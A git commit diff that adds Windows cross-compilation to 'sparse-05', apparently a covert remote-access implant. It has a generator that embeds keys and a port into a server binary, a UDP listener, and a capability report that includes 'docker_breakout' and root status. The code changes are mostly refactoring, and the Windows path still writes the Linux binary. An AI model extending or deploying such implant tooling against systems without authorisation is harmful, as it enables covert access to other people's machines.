feat: added windows support
factored out the packet parsing logic from libpcap will probably come back to linking against libpcap in a later version
This commit is contained in:
parent
4449a771e2
commit
81fb2ed548
@ -17,3 +17,6 @@ FROM rust:1-alpine
|
|||||||
|
|
||||||
RUN apk add cmake make automake musl-dev autoconf libtool \
|
RUN apk add cmake make automake musl-dev autoconf libtool \
|
||||||
flex bison linux-headers openssl-dev lldb build-base libcap-dev
|
flex bison linux-headers openssl-dev lldb build-base libcap-dev
|
||||||
|
|
||||||
|
RUN apk add mingw-w64-gcc mingw-w64-winpthreads mingw-w64-headers && \
|
||||||
|
rustup target add x86_64-pc-windows-gnu
|
||||||
|
|||||||
6
Cargo.lock
generated
6
Cargo.lock
generated
@ -674,6 +674,10 @@ version = "0.3.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
|
checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "packets"
|
||||||
|
version = "0.1.0"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "paste"
|
name = "paste"
|
||||||
version = "1.0.14"
|
version = "1.0.14"
|
||||||
@ -715,6 +719,7 @@ dependencies = [
|
|||||||
"errno",
|
"errno",
|
||||||
"futures",
|
"futures",
|
||||||
"libc",
|
"libc",
|
||||||
|
"packets",
|
||||||
"tokio",
|
"tokio",
|
||||||
"tokio-stream",
|
"tokio-stream",
|
||||||
]
|
]
|
||||||
@ -997,6 +1002,7 @@ dependencies = [
|
|||||||
"ed25519-dalek",
|
"ed25519-dalek",
|
||||||
"libc",
|
"libc",
|
||||||
"log",
|
"log",
|
||||||
|
"packets",
|
||||||
"pcap-sys",
|
"pcap-sys",
|
||||||
"rand",
|
"rand",
|
||||||
"rmp-serde",
|
"rmp-serde",
|
||||||
|
|||||||
@ -1,6 +1,7 @@
|
|||||||
[workspace]
|
[workspace]
|
||||||
members = [
|
members = [
|
||||||
"pcap-sys", "nl-sys",
|
"pcap-sys", "nl-sys",
|
||||||
|
"packets",
|
||||||
"examples/*/*",
|
"examples/*/*",
|
||||||
"sparse-protocol",
|
"sparse-protocol",
|
||||||
"sparse-05/*",
|
"sparse-05/*",
|
||||||
|
|||||||
@ -23,6 +23,7 @@ args = ["run", "build", "build", "${@}"]
|
|||||||
workspace = false
|
workspace = false
|
||||||
script = [
|
script = [
|
||||||
"docker-compose run build build --bin sparse-05-server ${@}",
|
"docker-compose run build build --bin sparse-05-server ${@}",
|
||||||
|
"docker-compose run build build --bin sparse-05-server --target x86_64-pc-windows-gnu ${@}",
|
||||||
"docker-compose run build build --bin sparse-05-client ${@}",
|
"docker-compose run build build --bin sparse-05-client ${@}",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|||||||
8
packets/Cargo.toml
Normal file
8
packets/Cargo.toml
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
[package]
|
||||||
|
name = "packets"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
40
packets/src/error.rs
Normal file
40
packets/src/error.rs
Normal file
@ -0,0 +1,40 @@
|
|||||||
|
// Copyright (C) 2023 Andrew Rioux
|
||||||
|
//
|
||||||
|
// This program is free software: you can redistribute it and/or modify
|
||||||
|
// it under the terms of the GNU Affero General Public License as
|
||||||
|
// published by the Free Software Foundation, either version 3 of the
|
||||||
|
// License, or (at your option) any later version.
|
||||||
|
//
|
||||||
|
// This program is distributed in the hope that it will be useful,
|
||||||
|
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
// GNU Affero General Public License for more details.
|
||||||
|
//
|
||||||
|
// You should have received a copy of the GNU Affero General Public License
|
||||||
|
// along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
|
use std::{error, fmt::Display};
|
||||||
|
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub enum Error {
|
||||||
|
StringParse,
|
||||||
|
UnknownPacketType(u16),
|
||||||
|
PacketLengthInvalid,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub type Result<T> = std::result::Result<T, Error>;
|
||||||
|
|
||||||
|
impl Display for Error {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
Error::StringParse => write!(f, "unable to parse a string from pcap"),
|
||||||
|
Error::UnknownPacketType(ptype) => write!(f, "unknown packet type ({ptype})"),
|
||||||
|
Error::PacketLengthInvalid => write!(
|
||||||
|
f,
|
||||||
|
"received a packet with a length that mismatched the header"
|
||||||
|
),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl error::Error for Error {}
|
||||||
@ -13,14 +13,15 @@
|
|||||||
// You should have received a copy of the GNU Affero General Public License
|
// You should have received a copy of the GNU Affero General Public License
|
||||||
// along with this program. If not, see <http://www.gnu.org/licenses/>.
|
// along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
use crate::error;
|
|
||||||
use std::{
|
use std::{
|
||||||
net::Ipv4Addr,
|
net::Ipv4Addr,
|
||||||
sync::atomic::{AtomicU16, Ordering},
|
sync::atomic::{AtomicU16, Ordering},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
pub mod error;
|
||||||
|
|
||||||
pub struct EthernetPkt<'a> {
|
pub struct EthernetPkt<'a> {
|
||||||
pub(crate) data: &'a [u8],
|
pub data: &'a [u8],
|
||||||
}
|
}
|
||||||
|
|
||||||
impl<'a> EthernetPkt<'a> {
|
impl<'a> EthernetPkt<'a> {
|
||||||
3
packets/src/main.rs
Normal file
3
packets/src/main.rs
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
fn main() {
|
||||||
|
println!("Hello, world!");
|
||||||
|
}
|
||||||
@ -24,6 +24,7 @@ futures = "0.3.25"
|
|||||||
libc = "0.2.142"
|
libc = "0.2.142"
|
||||||
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread" ] }
|
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread" ] }
|
||||||
tokio-stream = "0.1.14"
|
tokio-stream = "0.1.14"
|
||||||
|
packets = { path = "../packets" }
|
||||||
|
|
||||||
[build-dependencies]
|
[build-dependencies]
|
||||||
cmake = "0.1"
|
cmake = "0.1"
|
||||||
@ -122,3 +122,15 @@ impl From<Errno> for Error {
|
|||||||
Error::Libc(err)
|
Error::Libc(err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
impl From<packets::error::Error> for Error {
|
||||||
|
fn from(err: packets::error::Error) -> Error {
|
||||||
|
use packets::error::Error as ExtE;
|
||||||
|
|
||||||
|
match err {
|
||||||
|
ExtE::PacketLengthInvalid => Error::PacketLengthInvalid,
|
||||||
|
ExtE::UnknownPacketType(t) => Error::UnknownPacketType(t),
|
||||||
|
ExtE::StringParse => Error::StringParse,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@ -24,7 +24,7 @@ use std::{
|
|||||||
|
|
||||||
pub mod error;
|
pub mod error;
|
||||||
mod ffi;
|
mod ffi;
|
||||||
pub mod packets;
|
pub use packets;
|
||||||
|
|
||||||
pub mod consts {
|
pub mod consts {
|
||||||
pub use super::ffi::{
|
pub use super::ffi::{
|
||||||
|
|||||||
@ -4,28 +4,51 @@ use ed25519_dalek::Keypair;
|
|||||||
use sparse_05_common::CONFIG_SEPARATOR;
|
use sparse_05_common::CONFIG_SEPARATOR;
|
||||||
use tokio::{fs, io::AsyncWriteExt};
|
use tokio::{fs, io::AsyncWriteExt};
|
||||||
|
|
||||||
use crate::configs::ClientConfig;
|
use crate::{configs::ClientConfig, options::TargetOs};
|
||||||
|
|
||||||
#[cfg(debug_assertions)]
|
#[cfg(debug_assertions)]
|
||||||
pub const SPARSE_SERVER_BINARY: &'static [u8] =
|
pub const SPARSE_LINUX_SERVER_BINARY: &'static [u8] =
|
||||||
include_bytes!("../../../../target/debug/sparse-05-server");
|
include_bytes!("../../../../target/debug/sparse-05-server");
|
||||||
#[cfg(not(debug_assertions))]
|
#[cfg(not(debug_assertions))]
|
||||||
pub const SPARSE_SERVER_BINARY: &'static [u8] =
|
pub const SPARSE_LINUX_SERVER_BINARY: &'static [u8] =
|
||||||
include_bytes!("../../../../target/release/sparse-05-server");
|
include_bytes!("../../../../target/release/sparse-05-server");
|
||||||
|
#[cfg(debug_assertions)]
|
||||||
|
pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
|
||||||
|
include_bytes!("../../../../target/x86_64-pc-windows-gnu/debug/sparse-05-server.exe");
|
||||||
|
#[cfg(not(debug_assertions))]
|
||||||
|
pub const SPARSE_WINDOWS_SERVER_BINARY: &'static [u8] =
|
||||||
|
include_bytes!("../../../../target/x86_64-pc-windows-gnu/release/sparse-05-server.exe");
|
||||||
|
|
||||||
pub async fn generate(mut name: PathBuf, port: u16) -> anyhow::Result<()> {
|
pub async fn generate(mut name: PathBuf, port: u16, target: TargetOs) -> anyhow::Result<()> {
|
||||||
let mut csprng = rand::thread_rng();
|
let mut csprng = rand::thread_rng();
|
||||||
let keypair = Keypair::generate(&mut csprng);
|
let keypair = Keypair::generate(&mut csprng);
|
||||||
let (enc_privkey, enc_pubkey) = ecies_ed25519::generate_keypair(&mut csprng);
|
let (enc_privkey, enc_pubkey) = ecies_ed25519::generate_keypair(&mut csprng);
|
||||||
|
|
||||||
let mut file = fs::OpenOptions::new()
|
let mut file = fs::OpenOptions::new();
|
||||||
.write(true)
|
file.write(true).create(true);
|
||||||
.create(true)
|
#[cfg(unix)]
|
||||||
.mode(0o755)
|
file.mode(0o755);
|
||||||
.open(&name)
|
|
||||||
.await?;
|
|
||||||
|
|
||||||
file.write_all(SPARSE_SERVER_BINARY).await?;
|
#[cfg(windows)]
|
||||||
|
let old_file_part = name.file_name().unwrap().to_owned();
|
||||||
|
|
||||||
|
#[cfg(windows)]
|
||||||
|
{
|
||||||
|
let mut file_part = name.file_name().unwrap().to_owned();
|
||||||
|
file_part.push(OsString::from(".exe"));
|
||||||
|
name.pop();
|
||||||
|
name.push(file_part);
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut file = file.open(&name).await?;
|
||||||
|
|
||||||
|
#[cfg(windows)]
|
||||||
|
{
|
||||||
|
name.pop();
|
||||||
|
name.push(old_file_part);
|
||||||
|
}
|
||||||
|
|
||||||
|
file.write_all(SPARSE_LINUX_SERVER_BINARY).await?;
|
||||||
file.write_all(CONFIG_SEPARATOR).await?;
|
file.write_all(CONFIG_SEPARATOR).await?;
|
||||||
file.write_all(&port.to_be_bytes()[..]).await?;
|
file.write_all(&port.to_be_bytes()[..]).await?;
|
||||||
file.write_all(keypair.public.as_bytes()).await?;
|
file.write_all(keypair.public.as_bytes()).await?;
|
||||||
|
|||||||
@ -11,7 +11,9 @@ async fn main() -> anyhow::Result<()> {
|
|||||||
let options = Options::from_args();
|
let options = Options::from_args();
|
||||||
|
|
||||||
match options.command {
|
match options.command {
|
||||||
Command::Generate { name, port } => commands::generate::generate(name, port).await,
|
Command::Generate { name, port, target } => {
|
||||||
|
commands::generate::generate(name, port, target).await
|
||||||
|
}
|
||||||
Command::Connect { config, ip } => commands::connect::connect(config, ip).await,
|
Command::Connect { config, ip } => commands::connect::connect(config, ip).await,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -14,14 +14,33 @@ fn to_socket_addr(src: &str) -> Result<SocketAddr, std::io::Error> {
|
|||||||
))
|
))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub enum TargetOs {
|
||||||
|
Linux,
|
||||||
|
Windows,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::str::FromStr for TargetOs {
|
||||||
|
type Err = &'static str;
|
||||||
|
fn from_str(input: &str) -> Result<Self, Self::Err> {
|
||||||
|
match input {
|
||||||
|
"linux" => Ok(Self::Linux),
|
||||||
|
"windows" => Ok(Self::Windows),
|
||||||
|
_ => Err("could not parse target operating system"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
#[derive(StructOpt)]
|
#[derive(StructOpt)]
|
||||||
pub enum Command {
|
pub enum Command {
|
||||||
Generate {
|
Generate {
|
||||||
#[structopt(parse(from_os_str))]
|
#[structopt(parse(from_os_str))]
|
||||||
name: PathBuf,
|
name: PathBuf,
|
||||||
|
|
||||||
#[structopt(default_value = "54248")]
|
#[structopt(long, short, default_value = "54248")]
|
||||||
port: u16,
|
port: u16,
|
||||||
|
|
||||||
|
#[structopt(long, short, default_value = "linux")]
|
||||||
|
target: TargetOs,
|
||||||
},
|
},
|
||||||
Connect {
|
Connect {
|
||||||
#[structopt(parse(from_os_str))]
|
#[structopt(parse(from_os_str))]
|
||||||
|
|||||||
@ -4,7 +4,6 @@ version = "0.5.0"
|
|||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
pcap-sys = { path = "../../pcap-sys" }
|
|
||||||
anyhow = "1.0.70"
|
anyhow = "1.0.70"
|
||||||
ed25519-dalek = "1.0.1"
|
ed25519-dalek = "1.0.1"
|
||||||
rand = "0.7"
|
rand = "0.7"
|
||||||
@ -16,6 +15,10 @@ rmp-serde = "1.1.2"
|
|||||||
catconf = "0.1.2"
|
catconf = "0.1.2"
|
||||||
sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
|
sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
|
||||||
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
|
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
|
||||||
|
packets = { path = "../../packets" }
|
||||||
|
|
||||||
|
[target.'cfg(unix)'.dependencies]
|
||||||
|
pcap-sys = { path = "../../pcap-sys" }
|
||||||
|
|
||||||
[build-dependencies]
|
[build-dependencies]
|
||||||
cc = "1.0"
|
cc = "1.0"
|
||||||
|
|||||||
@ -23,6 +23,7 @@ struct cap_user_data_t {
|
|||||||
inheritable: u32,
|
inheritable: u32,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
||||||
let passwd = std::fs::read_to_string("/etc/passwd")?;
|
let passwd = std::fs::read_to_string("/etc/passwd")?;
|
||||||
|
|
||||||
@ -41,6 +42,12 @@ fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
|||||||
}))
|
}))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "windows")]
|
||||||
|
fn get_username(uid: u32) -> anyhow::Result<Option<String>> {
|
||||||
|
Ok(std::env::var("USERPROFILE").ok())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||||
let mut header = cap_user_header_t {
|
let mut header = cap_user_header_t {
|
||||||
version: 0x20080522,
|
version: 0x20080522,
|
||||||
@ -85,6 +92,21 @@ fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "windows")]
|
||||||
|
fn get_current_capabilities() -> anyhow::Result<Capabilities> {
|
||||||
|
let userent = get_username(0)?;
|
||||||
|
|
||||||
|
Ok(Capabilities {
|
||||||
|
operating_system: OperatingSystem::Windows,
|
||||||
|
docker_container: false,
|
||||||
|
docker_breakout: false,
|
||||||
|
setuid: false,
|
||||||
|
root: userent.as_deref() == Some("Administrator"),
|
||||||
|
userent,
|
||||||
|
transport: TransportType::Udp,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
pub fn get_capabilities() -> anyhow::Result<Capabilities> {
|
pub fn get_capabilities() -> anyhow::Result<Capabilities> {
|
||||||
get_current_capabilities()
|
get_current_capabilities()
|
||||||
}
|
}
|
||||||
|
|||||||
@ -9,7 +9,7 @@ use std::{
|
|||||||
|
|
||||||
use anyhow::{anyhow, bail, Context};
|
use anyhow::{anyhow, bail, Context};
|
||||||
use ed25519_dalek::{Keypair, Signature, Signer, Verifier};
|
use ed25519_dalek::{Keypair, Signature, Signer, Verifier};
|
||||||
use pcap_sys::packets::EthernetPacket;
|
use packets::EthernetPacket;
|
||||||
use sparse_05_common::messages::{Capabilities, Command, Response, CONNECTED_MESSAGE};
|
use sparse_05_common::messages::{Capabilities, Command, Response, CONNECTED_MESSAGE};
|
||||||
|
|
||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
@ -39,7 +39,7 @@ struct ConnectionInformation {
|
|||||||
|
|
||||||
impl ConnectionInformation {
|
impl ConnectionInformation {
|
||||||
fn format_udp_packet(&self, data: &[u8]) -> EthernetPacket {
|
fn format_udp_packet(&self, data: &[u8]) -> EthernetPacket {
|
||||||
use pcap_sys::packets::*;
|
use packets::*;
|
||||||
|
|
||||||
let udp_packet = UDPPacket::construct(54248, self.srcport, data);
|
let udp_packet = UDPPacket::construct(54248, self.srcport, data);
|
||||||
let ip_packet =
|
let ip_packet =
|
||||||
@ -89,10 +89,8 @@ pub fn spawn_connection_handler(
|
|||||||
connection_packet: EthernetPacket,
|
connection_packet: EthernetPacket,
|
||||||
connection_killer: Sender<(Ipv4Addr, u16)>,
|
connection_killer: Sender<(Ipv4Addr, u16)>,
|
||||||
) -> anyhow::Result<ConnectionHandle> {
|
) -> anyhow::Result<ConnectionHandle> {
|
||||||
println!("received connection, starting to authenticate");
|
|
||||||
|
|
||||||
let conninfo = {
|
let conninfo = {
|
||||||
use pcap_sys::packets::*;
|
use packets::*;
|
||||||
let packet = connection_packet.pkt();
|
let packet = connection_packet.pkt();
|
||||||
|
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
|
||||||
@ -183,7 +181,7 @@ fn authenticate<F: Fn()>(
|
|||||||
|
|
||||||
match packet_handler.recv_timeout(std::time::Duration::from_millis(250)) {
|
match packet_handler.recv_timeout(std::time::Duration::from_millis(250)) {
|
||||||
Ok(p) => {
|
Ok(p) => {
|
||||||
use pcap_sys::packets::*;
|
use packets::*;
|
||||||
let p = p.pkt();
|
let p = p.pkt();
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?;
|
||||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||||
@ -206,8 +204,19 @@ fn authenticate<F: Fn()>(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
println!("Connection made!");
|
handle_full_connection(capabilities, packet_handler, conninfo, packet_sender, close)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn handle_full_connection<F>(
|
||||||
|
capabilities: Arc<Capabilities>,
|
||||||
|
packet_handler: Receiver<EthernetPacket>,
|
||||||
|
conninfo: ConnectionInformation,
|
||||||
|
packet_sender: Sender<EthernetPacket>,
|
||||||
|
close: F,
|
||||||
|
) -> anyhow::Result<()>
|
||||||
|
where
|
||||||
|
F: Fn(),
|
||||||
|
{
|
||||||
close();
|
close();
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
|
|||||||
@ -5,10 +5,11 @@ use std::{
|
|||||||
|
|
||||||
use anyhow::{anyhow, bail};
|
use anyhow::{anyhow, bail};
|
||||||
|
|
||||||
use pcap_sys::packets::{self, EthernetPkt};
|
use packets::{self, EthernetPkt};
|
||||||
use sparse_05_common::messages::TransportType;
|
use sparse_05_common::messages::TransportType;
|
||||||
|
|
||||||
pub enum Interface {
|
pub enum Interface {
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>, u16),
|
RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>, u16),
|
||||||
Udp(UdpSocket, u16),
|
Udp(UdpSocket, u16),
|
||||||
}
|
}
|
||||||
@ -16,6 +17,7 @@ pub enum Interface {
|
|||||||
impl Interface {
|
impl Interface {
|
||||||
pub fn new(ttype: TransportType, port: u16) -> anyhow::Result<Interface> {
|
pub fn new(ttype: TransportType, port: u16) -> anyhow::Result<Interface> {
|
||||||
match ttype {
|
match ttype {
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
TransportType::RawUdp => {
|
TransportType::RawUdp => {
|
||||||
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
|
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
|
||||||
let interface_name = interfaces
|
let interface_name = interfaces
|
||||||
@ -61,6 +63,10 @@ impl Interface {
|
|||||||
|
|
||||||
Ok(Interface::RawUdp(interface, port))
|
Ok(Interface::RawUdp(interface, port))
|
||||||
}
|
}
|
||||||
|
#[cfg(target_os = "windows")]
|
||||||
|
TransportType::RawUdp => {
|
||||||
|
panic!("transport not available!");
|
||||||
|
}
|
||||||
TransportType::Udp => Ok(Interface::Udp(
|
TransportType::Udp => Ok(Interface::Udp(
|
||||||
UdpSocket::bind(&format!("0.0.0.0:{port}"))?,
|
UdpSocket::bind(&format!("0.0.0.0:{port}"))?,
|
||||||
port,
|
port,
|
||||||
@ -70,6 +76,7 @@ impl Interface {
|
|||||||
|
|
||||||
pub fn split(self) -> anyhow::Result<(InterfaceSender, InterfaceReceiver)> {
|
pub fn split(self) -> anyhow::Result<(InterfaceSender, InterfaceReceiver)> {
|
||||||
match self {
|
match self {
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
Self::RawUdp(interface, port) => {
|
Self::RawUdp(interface, port) => {
|
||||||
let arc = Arc::new(interface);
|
let arc = Arc::new(interface);
|
||||||
Ok((
|
Ok((
|
||||||
@ -89,6 +96,7 @@ impl Interface {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub enum InterfaceSender {
|
pub enum InterfaceSender {
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
|
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
|
||||||
Udp(UdpSocket),
|
Udp(UdpSocket),
|
||||||
}
|
}
|
||||||
@ -96,9 +104,10 @@ pub enum InterfaceSender {
|
|||||||
impl InterfaceSender {
|
impl InterfaceSender {
|
||||||
pub fn sendpacket(&self, packet: EthernetPkt) -> anyhow::Result<()> {
|
pub fn sendpacket(&self, packet: EthernetPkt) -> anyhow::Result<()> {
|
||||||
match self {
|
match self {
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?),
|
Self::RawUdp(interf) => Ok(interf.sendpacket(packet)?),
|
||||||
Self::Udp(interf) => {
|
Self::Udp(interf) => {
|
||||||
use pcap_sys::packets::*;
|
use packets::*;
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?;
|
||||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||||
|
|
||||||
@ -113,6 +122,7 @@ impl InterfaceSender {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub enum InterfaceReceiver {
|
pub enum InterfaceReceiver {
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
|
RawUdp(Arc<pcap_sys::Interface<pcap_sys::DevActivated>>),
|
||||||
Udp(UdpSocket, u16),
|
Udp(UdpSocket, u16),
|
||||||
}
|
}
|
||||||
@ -123,6 +133,7 @@ impl InterfaceReceiver {
|
|||||||
F: FnMut(packets::EthernetPacket) -> anyhow::Result<()>,
|
F: FnMut(packets::EthernetPacket) -> anyhow::Result<()>,
|
||||||
{
|
{
|
||||||
match self {
|
match self {
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
Self::RawUdp(interf) => interf.listen(
|
Self::RawUdp(interf) => interf.listen(
|
||||||
move |_, packet| {
|
move |_, packet| {
|
||||||
let _ = (f)(packet.to_owned());
|
let _ = (f)(packet.to_owned());
|
||||||
@ -132,7 +143,7 @@ impl InterfaceReceiver {
|
|||||||
-1,
|
-1,
|
||||||
),
|
),
|
||||||
Self::Udp(interf, port) => loop {
|
Self::Udp(interf, port) => loop {
|
||||||
use pcap_sys::packets::*;
|
use packets::*;
|
||||||
|
|
||||||
let mut buf = [0u8; 2000];
|
let mut buf = [0u8; 2000];
|
||||||
|
|
||||||
|
|||||||
@ -8,7 +8,8 @@ use std::{
|
|||||||
use anyhow::{bail, Context};
|
use anyhow::{bail, Context};
|
||||||
use connection::ConnectionHandle;
|
use connection::ConnectionHandle;
|
||||||
|
|
||||||
use pcap_sys::packets::EthernetPacket;
|
use packets::EthernetPacket;
|
||||||
|
|
||||||
use sparse_05_common::CONFIG_SEPARATOR;
|
use sparse_05_common::CONFIG_SEPARATOR;
|
||||||
|
|
||||||
use crate::connection::spawn_connection_handler;
|
use crate::connection::spawn_connection_handler;
|
||||||
@ -65,7 +66,7 @@ fn main() -> anyhow::Result<()> {
|
|||||||
|
|
||||||
interface_receiver
|
interface_receiver
|
||||||
.listen(|pkt| {
|
.listen(|pkt| {
|
||||||
use pcap_sys::packets::*;
|
use packets::*;
|
||||||
|
|
||||||
let pkt = pkt.pkt();
|
let pkt = pkt.pkt();
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user